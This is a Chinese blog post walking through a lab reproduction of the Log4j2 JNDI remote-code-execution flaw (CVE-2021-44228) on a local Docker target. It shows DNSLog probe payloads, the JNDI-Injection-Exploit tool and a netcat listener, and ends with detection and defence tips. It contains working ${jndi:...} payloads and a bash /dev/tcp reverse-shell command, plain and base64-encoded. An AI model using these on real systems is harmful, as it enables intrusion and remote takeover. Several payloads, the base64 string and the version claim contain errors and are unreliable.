CVE重要通用漏洞复现java php

news2024/12/27 18:38:47

在进行漏洞复现之前我们需要在linux虚拟机上进行docker的安装   我不喜欢win上安因为不知道为什么总是和我的vmware冲突 

然后我的kali内核版本太低 我需要重新安装一个新的linux 并且配置网络 我相信这会话费我不少时间

查看版本 uname -a  

需要5.5或以上的版本

看错了浪费我很多时间 5.1 以上就行 服了

docker安装教程:【Docker】Linux安装Docker(极简版) - 知乎 (zhihu.com)

这个安装方法其实不如=这个kali下对Docker的详细安装_kali安装docker-CSDN博客

Usage:
docker [OPTIONS] COMMAND [arg...]
       docker daemon [ --help | ... ]
       docker [ --help | -v | --version ]
A
self-sufficient runtime for containers.
 
Options:
  --config=~/.docker              Location of client config files  #客户端配置文件的位置
  -D, --debug=false               Enable debug mode  #启用Debug调试模式
  -H, --host=[]                   Daemon socket(s) to connect to  #守护进程的套接字(Socket)连接
  -h, --help=false                Print usage  #打印使用
  -l, --log-level=info            Set the logging level  #设置日志级别
  --tls=false                     Use TLS; implied by--tlsverify  #
  --tlscacert=~/.docker/ca.pem    Trust certs signed only by this CA  #信任证书签名CA
  --tlscert=~/.docker/cert.pem    Path to TLS certificate file  #TLS证书文件路径
  --tlskey=~/.docker/key.pem      Path to TLS key file  #TLS密钥文件路径
  --tlsverify=false               Use TLS and verify the remote  #使用TLS验证远程
  -v, --version=false             Print version information and quit  #打印版本信息并退出
 
Commands:
    attach    Attach to a running container  #当前shell下attach连接指定运行镜像
    build     Build an image from a Dockerfile  #通过Dockerfile定制镜像
    commit    Create a new image from a container's changes  #提交当前容器为新的镜像
    cp          Copy files/folders from a container to a HOSTDIR or to STDOUT  #从容器中拷贝指定文件或者目录到宿主机中
    create    Create a new container  #创建一个新的容器,同run 但不启动容器
    diff      Inspect changes on a container's filesystem  #查看docker容器变化
    events    Get real time events from the server#从docker服务获取容器实时事件
    exec      Run a command in a running container#在已存在的容器上运行命令
    export    Export a container's filesystem as a tar archive  #导出容器的内容流作为一个tar归档文件(对应import)
    history   Show the history of an image  #展示一个镜像形成历史
    images    List images  #列出系统当前镜像
    import    Import the contents from a tarball to create a filesystem image  #从tar包中的内容创建一个新的文件系统映像(对应export)
    info      Display system-wide information  #显示系统相关信息
    inspect   Return low-level information on a container or image  #查看容器详细信息
    kill      Kill a running container  #kill指定docker容器
    load      Load an image from a tar archive or STDIN  #从一个tar包中加载一个镜像(对应save)
    login     Register or log in to a Docker registry#注册或者登陆一个docker源服务器
    logout    Log out from a Docker registry  #从当前Docker registry退出
    logs         Fetch the logs of a container  #输出当前容器日志信息
    pause     Pause all processes within a container#暂停容器
    port      List port mappings or a specific mapping for the CONTAINER  #查看映射端口对应的容器内部源端口
    ps          List containers  #列出容器列表
    pull      Pull an image or a repository from a registry  #从docker镜像源服务器拉取指定镜像或者库镜像
    push      Push an image or a repository to a registry  #推送指定镜像或者库镜像至docker源服务器
    rename    Rename a container  #重命名容器
    restart   Restart a running container  #重启运行的容器
    rm          Remove one or more containers  #移除一个或者多个容器
    rmi          Remove one or more images  #移除一个或多个镜像(无容器使用该镜像才可以删除,否则需要删除相关容器才可以继续或者-f强制删除)
    run         Run a command in a new container  #创建一个新的容器并运行一个命令
    save      Save an image(s) to a tar archive#保存一个镜像为一个tar包(对应load)
    search    Search the Docker Hub for images  #在docker
hub中搜索镜像
    start     Start one or more stopped containers#启动容器
    stats     Display a live stream of container(s) resource usage statistics  #统计容器使用资源
    stop      Stop a running container  #停止容器
    tag       Tag an image into a repository  #给源中镜像打标签
    top       Display the running processes of a container #查看容器中运行的进程信息
    unpause   Unpause all processes within a container  #取消暂停容器
    version   Show the Docker version information#查看容器版本号
    wait      Block until a container stops, then print its exit code  #截取容器停止时的退出状态值

Apache Log4j2 RCE原理验证和复现(附CVE-2021-4101应急处置)、

编号:CVE-2021-44228

影响版本:影响Log4j 1.2版本

然后我们先开始我们的漏洞检测 检测一个网站有没有这个漏洞

安装好docker照下图输入代码

然后查看你的虚拟机地址 访问192.168.245.132:38080 我的是这个

然后访问后如下图

然后我们打开bp 开启拦截点击???

然后我们需要构造一个payload 需要利用一个网站 来检测DNS分析没有

也就是这个我们创建一个网站 然后把网站放进去 我来拿举个例子

http://192.168.245.132:38080/hello?payload=$[jndi:ldap://r2ujl1.dnslog.cn}

http://192.168.245.132:38080/hello?payload=$[jndi :ldap://vh6vhl.dnslog.cn/exp}http://192.168.245.132:38080/hello?payload=${jndi:ldap://${sys:java.version}.tpv6me.dnslog.cn }

失败了404

换成urlcode编码就行

然后刚刚这个网址DNSLog Platform有回显就代表有这个漏洞

我这边一直不回显 网上找了3个payload格式都不行 应该是这个网站出什么问题了

但是你们可能觉得没有什么用 别急 接下来我们开始提权 关于提权原理 

我觉得这个讲的是最好的  最通俗易懂的 

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_log4j漏洞复现-CSDN博客

漏洞利用

下载软件

这里选用JNDI注入工具:JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar
下载JNDI注入工具JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar,下载地址为https://github.com/bkfish/Apache-Log4j-Learning/tree/main
应用工具JNDI-Injection-Exploit搭建服务:格式:

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C “命令” -A “ip(攻击机)”

这里的命令是想要靶机运行的命令,-A后放的是发出攻击的电脑的ip,也是存放-C后“命令”的ip地址。
接下来要实现反弹shell,可以用命令

bash -i >& /dev/tcp/ip/port 0>&1

用脚本开始建造的过程

1. 设置监听端口

nc -lnvp 4444

2. bash -i >& /dev/tcp/192.168.245.132/4444 0>&1 将这个命令 利用base64位编码 

bash -i >& /dev/tcp/192.168.245.132/4444 0>&1

YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0NS4xMzIvNDQ0NKAwPiYx

java -jar JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjI0NS4xMzIvNDQ0NKAwPiYx}|{base64,-d}|{bash,-i}" -A 192.168.245.132

将上面代码输入(在那个工具包里面执行命令行 提醒下小白)

同时我们再用bp抓一个我们点击???的包包 并且改一下将 脚本生成的网址

再次生成一个payload并进行转码

用下面这个图来构造payload

${jndi:rmi://172.17.0.1:1099/tpbnp2}

监听界面出现下图就是成功

防范方法

复现时遇到的问题
1.环境安装时总遇到问题
2.打开DNSlog.cn网站时遇到很多问题
3.使用burp抓包与发包时遇到问题

排查
1.可以通过检查日志中是否存在"jndi:ldap://"、"jndi:rmi"等字符来发现可能的攻击行为
2.pom版本检查
3.各种安全产品

防御方法
1.设置jvm参数 -Dlog4j2.formatMsgNoLookups=true。由于Java RMI,的实现依赖于JVM,所以可以通过调用JVM来修改。
2.设置log4j2.formatMsgNoLookups=True。
3.采用waf对请求流量中的${jndi进行拦截。通过对拦截JNDI语句来防止JNDI注入。
4.禁止不必要的业务访问外网,配置网络防火墙,禁止系统主动外连网络,包含不限于DNS、TCP/IP、ICMP。
这个博客方法多 

log4j2远程代码执行漏洞原理与漏洞复现(基于vulhub,保姆级的详细教程)_log4j漏洞复现-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1395243.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

滚动菜单+图片ListView

目录 Fruit.java FruitAdapter MainActivity activity_main.xml fruit.xml 整体结构 Fruit.java public class Fruit {private String name;private int imageId;public Fruit(String name, int imageId) {this.name name;this.imageId imageId;}public String getNam…

AR与AI融合加速,医疗护理更便捷

根据Reports and Data的AR市场发展报告,到2026年,预计医疗保健市场中的AR/VR行业规模将达到70.5亿美元。这一趋势主要受到对创新诊断技术、神经系统疾病和疾病意识不断增长的需求驱动。信息技术领域的进步,包括笔记本电脑、计算机、互联网连接…

用 Python 制作可视化 GUI 界面,一键实现自动分类管理文件!

经常杂乱无章的文件夹会让我们找不到所想要的文件,因此小编特意制作了一个可视化GUI界面,通过输入路径一键点击实现文件分门别类的归档。 不同的文件后缀归类为不同的类别 我们先罗列一下大致有几类文件,根据文件的后缀来设定,大…

Vue入门七(Vuex的使用|Vue-router|LocalStorage与SessionStorage和cookie的使用|路由的两种工作模式)

文章目录 一、Vuex1)理解vuex2)优点3)何时使用?4)使用步骤① 安装vuex② 创建vuex③ 导入vuex④ 创建仓库Store⑤ 基本使用 5)五个模块介绍1.State2.mutations3.actions4.Getter5.Modules 6)购物…

【vue】ant-col多列栅格式的表单排列方式布局异常:

文章目录 一、效果:二、解决:三、问题: 一、效果: 二、解决: 在row中添加布局类型:type“flex” 三、问题: 后期正式环境还是存在该问题 >>>.ant-form-item {max-height: 32px; }多…

【FastAPI】P1 简单实现 a+b

目录 准备工作代码运行 说明:本文通过 FastAPI 实现返回两个参数 ab 的值; 准备工作 默认读者已准备完善 Python IDE工具以及包管理工具。 首先,需要安装 fastapi 和 uvicorn 库,如果没有请使用 pip 进行安装: pip…

【Android】为什么在子线程中更新UI不会抛出异常

转载请注明来源:https://blog.csdn.net/devnn/article/details/135638486 前言 众所周知,Android App在子线程中是不允许更新UI的,否则会抛出异常: android.view.ViewRootImpl$CalledFromWrongThreadException: Only the origin…

智慧灌区解决方案:针对典型灌区水利管理需求

​随着国家对农业水利的重视,各地积极推进智慧灌区建设,以实现对水资源的精准调度和科学化管理。下面我们针对典型灌区水利管理需求,推荐智慧灌区解决方案。 一、方案构成智慧水利解决方案- 智慧水利信息化系统-智慧水利平台-智慧水利公司 - 星创智慧水利 一、方案构成 (一)水…

安全加速SCDN是什么

安全加速SCDN(Secure Content Delivery Network,SCDN) 是集分布式DDoS防护、CC防护、WAF防护、BOT行为分析为一体的安全加速解决方案。已使用内容分发网络(CDN)或全站加速网络(ECDN)的用户&…

Java CAS原子操作过程及ABA问题

目录 一.什么是CAS 二.流程 三.缺点 四.ABA 问题 五.解决ABA问题 一.什么是CAS CAS(Compare And Swap,比较并交换),通常指的是这样一种原子操作:针对一个变量,首先比较它的内存值与某个期望值是否相同…

边缘计算AI智能分析网关V4客流统计算法的概述

客流量统计AI算法是一种基于人工智能技术的数据分析方法,通过机器学习、深度学习等算法,实现对客流量的实时监测和统计。该算法主要基于机器学习和计算机视觉技术,其基本流程包括图像采集、图像预处理、目标检测、目标跟踪和客流量统计等步骤…

EasyDarwin计划新增将各种流协议(RTSP、RTMP、HTTP、TCP、UDP)、文件转推RTMP到其他视频直播平台,支持转码H.264、文件直播推送

之前我们尝试做过EasyRTSPLive(将RTSP流转推RTMP)和EasyRTMPLive(将各种RTSP/RTMP/HTTP/UDP流转推RTMP,这两个服务在市场上都得到了比较多的好评,其中: 1、EasyRTSPLive用的是EasyRTSPClient取流&#xff…

Presents-codeforces

题目链接:Problem - 136A - Codeforces 解题思路: 这题挺有意思,大致意思是,每个人都会互相送礼物,可能送给自己,可能送给别人,第i个数表示第i个人要把礼物送给第i个数的人比如1 3 2&#xff0…

C++系列-第1章顺序结构-9-字符类型char

在线练习: http://noi.openjudge.cn/ https://www.luogu.com.cn/ 总结 本文是C系列博客,主要讲述字符类型char 字符类型char 在C编程语言中,char是一种基本的数据类型,它用于存储单个字符。字符可以是字母、数字、标点符号或者…

智慧门店:如何利用AI视频智能监管与存储技术让门店降本增效?

一、行业背景 TSINGSEE青犀视频智慧门店解决方案是一种集成了人工智能、大数据、物联网等技术的零售解决方案,目的是提高门店的运营效率、用户体验和业绩。随着数字化转型的加速,连锁门店需要跟上时代的步伐,需要利用数字化手段提高运营效率…

Android14之DefaultKeyedVector实现(一百八十二)

简介: CSDN博客专家,专注Android/Linux系统,分享多mic语音方案、音视频、编解码等技术,与大家一起成长! 优质专栏:Audio工程师进阶系列【原创干货持续更新中……】🚀 优质专栏:多媒…

打造更智能的应用 - 机器学习和Andorid

打造更智能的应用 - 机器学习和Andorid 一、关于机器学习和Andorid二、使用 Gemini 让您的 Android 应用如虎添翼2.1 Gemini API2.2 Android AICore 三、现成可用的还是自定义的机器学习3.1 机器学习套件 SDK 的常见用户流3.2 高性能自定义机器学习 四、机器学习套件 SDK&#…

GIt与IDEA结合,多人操作gitee仓库

提交到本地 push到gitee远程仓库 在做这些之前注意配置git要忽略上传的文件,一般上传代码只上传src和pom.xml即可 在c盘用户里放置 git.ignore # Compiled class file *.class# Log file *.log# BlueJ files *.ctxt# Mobile Tools for Java (J2ME) .mtj.tmp/# Package Files …

python实现截图识别文字v2.0[脱离开发环境]

目录 1、简介 2、如何使用 3、完整代码 4、免费下载 5、说明文档 🍃作者介绍:双非本科大三网络工程专业在读,阿里云专家博主,专注于Java领域学习,擅长web应用开发、数据结构和算法,初步涉猎Python人工…

element-ui 打包流程源码解析(下)

目录 目录结构和使用1,npm 安装1.1,完整引入1.2,按需引入 2,CDN3,国际化 接上文:element-ui 打包流程源码解析(上) 文章中提到的【上文】都指它 ↑ 目录结构和使用 我们从使用方式来…